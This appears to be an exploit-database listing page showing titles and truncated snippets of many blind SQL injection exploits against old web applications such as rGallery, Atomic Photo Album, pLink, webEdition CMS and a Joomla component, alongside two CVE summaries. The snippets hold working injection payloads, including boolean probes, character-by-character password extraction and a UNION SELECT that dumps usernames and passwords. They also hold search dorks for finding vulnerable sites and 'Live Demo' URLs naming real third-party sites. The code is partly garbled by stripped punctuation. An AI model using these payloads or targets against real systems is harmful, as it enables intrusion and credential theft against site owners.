WBB Plugin rGallery 1.09 (itemID) Blind SQL Injection Exploit

No description provided by source. import sys, urllib2, re print "\n " print " \'/ " print " -.- " print " -------------------oOO------OOo--------------------" print " | rGallery 1.09 +- Exploit by Five-Three-Nine |" print " | Using Blind SQL Injection in 'itemID' of rGallery |" print " | |" prin...

Galerie 3.2 - 'pic' WBB Lite Addon Blind SQL Injection

!/usr/bin/perl Galerie 3.2 galerie.php Remote "Blind" SQL Injection found by: J0hn.X3r exploit written by: J0hn.X3r and electron1x Date: 05.10.2008 Dork: "Galerie 3.2 © 2004 by progressive" Contact: J0hn.X3r + ICQ: 573813 + Mail: J0hn.X3ratgmail.com electron1x + Mail: electron1x at mail dot ru...

SG Real Estate Portal 2.0 - Blind SQL Injection

SG Real Estate Portal 2.0 - Blind SQL Injection 1 $url = $argv1; if $argc $t-1 $count = $i; $i = 30; for $j = 1; $j $count; $j++...

Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' Atomic Photo Album 1.1.0pre4 - Blind SQL Injection Exploit Vulnerability discovered by: Stack Exploit coded by: Stack Greetz to: All My Freind Dork: intext:"Powered by Atomic Photo Album 1.1.0pre4" Admin Panel: Target/apa...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live Demo : http://www.brzi.info/foto/album.php?apaalbumID=2 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."+and+1=1--"...

Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection

php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live Demo : http://www.brzi.info/foto/album.php?apaalbumID=2 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $count = $i; $i = 30; for $j = 1; $j $count; $j++ for $i = 46; $i = 122; $i=$i+2 if $i == 60 $i = 98;...

pLink 2.07 - linkto.php Blind SQL Injection

pLink 2.07 - linkto.php Blind SQL Injection php '.$argv0.' http://www.site.com/link/linkto.php?id=128 2 Live Demo : http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."+and+1=1/"; ec...

pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= pLink 2.07 linkto.php id Remote Blind SQL Injection Exploit ============================================================= php '.$argv0.' http://www.site.com/link/linkto.php?id=1...

pLink 2.07 - 'linkto.php' Blind SQL Injection

php '.$argv0.' http://www.site.com/link/linkto.php?id=128 2 Live Demo : http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2 '; if $argc 1 $url = $argv1; if $argc $t-1 $laenge = strlenfilegetcontents$url."+and+asciisubstringselect+pwd+from+pluser+where+id=".$userid."+li...

webeditioncms-sql.txt

php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $laenge = strlenfilegetcontents$url."'and+asciisubstringsel...

webEdition CMS (we_objectID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== webEdition CMS weobjectID Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc ...

HRS Multi - 'key' Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " Viva IslaMe Viva IslaMe \n"; print " HRS Multi Blind SQL Injection Exploit \n"; print " picturepicbv.asp key \n"; print " Author: Mr.SQL \n"; print " EMAIL : [email protected] \n"; print " \n"; print " -::...

Sql injection

Multiple SQL injection vulnerabilities in ShareCMS 0.1 Beta allow remote attackers to execute arbitrary SQL commands via the 1 eventID parameter to eventinfo.php and the 2 userID parameter to listuser.php...

CVE-2008-2870: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in ShareCMS 0.1 Beta allow remote attackers to execute arbitrary SQL commands via the 1 eventID parameter to eventinfo.php and the 2 userID parameter to listuser.php...

Comparison Engine Power 1.0 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= Comparison Engine Power 1.0 Blind SQL Injection Exploit ======================================================= !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "...

Comparison Engine Power 1.0 - Blind SQL Injection

Comparison Engine Power 1.0 - Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " \n"; print " Comparison Engine Power 1.0 Blind SQL Injection Exploit \n"; print " \n";...

DIY (index_topic did ) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== DIY indextopic did Blind SQL Injection Exploit ================================================== !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA...

CVE-2008-2627: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in the IDoBlog comidoblog component b24 and earlier and 1.0, a component for Joomla!, allows remote attackers to execute arbitrary SQL commands via the userid parameter in a userblog action to index.php...

Joomla Component iDoBlog <= b24 Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================== Joomla Component iDoBlog and 1=1 UNION SELECT user,user,user,user,user,concatusername,0x3a,password,user,user,user,user,user,user,user,user,user,user FROM josusers--...